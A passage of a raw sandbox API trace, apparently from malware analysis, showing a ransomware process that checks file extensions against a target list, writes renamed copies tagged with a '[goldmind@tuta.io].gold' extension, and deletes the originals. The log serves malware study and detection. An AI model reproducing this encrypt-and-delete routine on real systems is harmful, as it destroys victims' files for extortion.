lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.795] GetLastError () returned 0x0 [0034.795] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x16fc, lpOverlapped=0x0) returned 1 [0034.815] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1700, lpOverlapped=0x0) returned 1 [0034.816] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.816] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.816] SetEndOfFile (hFile=0x1a0) returned 1 [0034.816] CloseHandle (hObject=0x1a0) returned 1 [0034.817] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.817] SetEndOfFile (hFile=0x19c) returned 1 [0034.817] CloseHandle (hObject=0x19c) returned 1 [0034.817] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.818] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.818] lstrlenW (lpString=".doc") returned 4 [0034.818] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".docx") returned 5 [0034.818] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.818] lstrlenW (lpString=".pdf") returned 4 [0034.818] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".xls") returned 4 [0034.818] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".xlsx") returned 5 [0034.818] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.818] lstrlenW (lpString=".ppt") returned 4 [0034.818] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.818] lstrlenW (lpString=".zip") returned 4 [0034.818] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.818] lstrlenW (lpString=".rar") returned 4 [0034.818] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".bz2") returned 4 [0034.818] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString=".7z") returned 3 [0034.818] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.818] lstrlenW (lpString=".dbf") returned 4 [0034.818] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.818] lstrlenW (lpString=".1cd") returned 4 [0034.818] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.818] lstrlenW (lpString=".jpg") returned 4 [0034.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.819] lstrlenW (lpString=".doc") returned 4 [0034.819] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString=".docx") returned 5 [0034.819] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.819] lstrlenW (lpString=".pdf") returned 4 [0034.819] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString=".xls") returned 4 [0034.819] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString=".xlsx") returned 5 [0034.819] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.819] lstrlenW (lpString=".ppt") returned 4 [0034.819] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.819] lstrlenW (lpString=".zip") returned 4 [0034.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.819] lstrlenW (lpString=".rar") returned 4 [0034.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString=".bz2") returned 4 [0034.819] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString=".7z") returned 3 [0034.819] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.819] lstrlenW (lpString=".dbf") returned 4 [0034.819] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.819] lstrlenW (lpString=".1cd") returned 4 [0034.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.819] lstrlenW (lpString=".jpg") returned 4 [0034.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.819] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.819] lstrlenW (lpString="Setup.xml") returned 9 [0034.819] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.820] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1852) returned 1 [0034.820] CloseHandle (hObject=0x19c) returned 1 [0034.820] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.820] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.820] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.820] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.820] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.820] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.820] GetLastError () returned 0x0 [0034.820] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x73c, lpOverlapped=0x0) returned 1 [0034.838] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x740, lpOverlapped=0x0) returned 1 [0034.838] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.838] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.838] SetEndOfFile (hFile=0x1a0) returned 1 [0034.838] CloseHandle (hObject=0x1a0) returned 1 [0034.839] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.839] SetEndOfFile (hFile=0x19c) returned 1 [0034.840] CloseHandle (hObject=0x19c) returned 1 [0034.840] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.840] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.840] lstrlenW (lpString=".doc") returned 4 [0034.840] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.840] lstrlenW (lpString=".docx") returned 5 [0034.840] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.840] lstrlenW (lpString=".pdf") returned 4 [0034.840] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.840] lstrlenW (lpString=".xls") returned 4 [0034.840] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.840] lstrlenW (lpString=".xlsx") returned 5 [0034.840] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.840] lstrlenW (lpString=".ppt") returned 4 [0034.840] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.840] lstrlenW (lpString=".zip") returned 4 [0034.840] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.840] lstrlenW (lpString=".rar") returned 4 [0034.841] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.841] lstrlenW (lpString=".bz2") returned 4 [0034.841] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.841] lstrlenW (lpString=".7z") returned 3 [0034.841] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.841] lstrlenW (lpString=".dbf") returned 4 [0034.841] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.841] lstrlenW (lpString=".1cd") returned 4 [0034.841] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.841] lstrlenW (lpString=".jpg") returned 4 [0034.841] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.841] lstrlenW (lpString=".doc") returned 4 [0034.841] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.841] lstrlenW (lpString=".docx") returned 5 [0034.841] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.841] lstrlenW (lpString=".pdf") returned 4 [0034.841] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.841] lstrlenW (lpString=".xls") returned 4 [0034.841] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.841] lstrlenW (lpString=".xlsx") returned 5 [0034.874] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.874] lstrlenW (lpString=".ppt") returned 4 [0034.874] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.874] lstrlenW (lpString=".zip") returned 4 [0034.874] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.874] lstrlenW (lpString=".rar") returned 4 [0034.874] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.874] lstrlenW (lpString=".bz2") returned 4 [0034.874] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.874] lstrlenW (lpString=".7z") returned 3 [0034.874] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.874] lstrlenW (lpString=".dbf") returned 4 [0034.874] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.874] lstrlenW (lpString=".1cd") returned 4 [0034.874] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.874] lstrlenW (lpString=".jpg") returned 4 [0034.874] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.875] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.875] lstrlenW (lpString="Setup.xml") returned 9 [0034.875] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.902] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1988) returned 1 [0034.902] CloseHandle (hObject=0x188) returned 1 [0034.903] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.903] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.903] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.903] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.903] GetLastError () returned 0x0 [0034.903] ReadFile (in: hFile=0x188, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x7c4, lpOverlapped=0x0) returned 1 [0034.905] WriteFile (in: hFile=0x180, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0034.906] ReadFile (in: hFile=0x188, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.906] WriteFile (in: hFile=0x180, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.906] SetEndOfFile (hFile=0x180) returned 1 [0034.906] CloseHandle (hObject=0x180) returned 1 [0034.907] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.907] SetEndOfFile (hFile=0x188) returned 1 [0034.908] CloseHandle (hObject=0x188) returned 1 [0034.908] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.908] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.909] lstrlenW (lpString=".doc") returned 4 [0034.909] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.909] lstrlenW (lpString=".docx") returned 5 [0034.909] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.909] lstrlenW (lpString=".pdf") returned 4 [0034.909] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.909] lstrlenW (lpString=".xls") returned 4 [0034.909] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.909] lstrlenW (lpString=".xlsx") returned 5 [0034.909] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.909] lstrlenW (lpString=".ppt") returned 4 [0034.909] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.909] lstrlenW (lpString=".zip") returned 4 [0034.909] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.909] lstrlenW (lpString=".rar") returned 4 [0034.909] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.909] lstrlenW (lpString=".bz2") returned 4 [0034.909] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.909] lstrlenW (lpString=".7z") returned 3 [0034.909] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.909] lstrlenW (lpString=".dbf") returned 4 [0034.909] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.909] lstrlenW (lpString=".1cd") returned 4 [0034.909] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.909] lstrlenW (lpString=".jpg") returned 4 [0034.909] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.910] lstrlenW (lpString=".doc") returned 4 [0034.910] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.910] lstrlenW (lpString=".docx") returned 5 [0034.910] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.910] lstrlenW (lpString=".pdf") returned 4 [0034.910] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.910] lstrlenW (lpString=".xls") returned 4 [0034.910] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.910] lstrlenW (lpString=".xlsx") returned 5 [0034.910] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.910] lstrlenW (lpString=".ppt") returned 4 [0034.910] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.910] lstrlenW (lpString=".zip") returned 4 [0034.910] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.910] lstrlenW (lpString=".rar") returned 4 [0034.910] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.910] lstrlenW (lpString=".bz2") returned 4 [0034.910] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.910] lstrlenW (lpString=".7z") returned 3 [0034.910] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.910] lstrlenW (lpString=".dbf") returned 4 [0034.910] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.910] lstrlenW (lpString=".1cd") returned 4 [0034.910] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.910] lstrlenW (lpString=".jpg") returned 4 [0034.910] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.910] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.910] lstrlenW (lpString="branding.xml") returned 12 [0034.910] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.918] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=596341) returned 1 [0034.918] CloseHandle (hObject=0x19c) returned 1 [0034.918] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0034.918] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.918] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.918] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.918] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.918] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 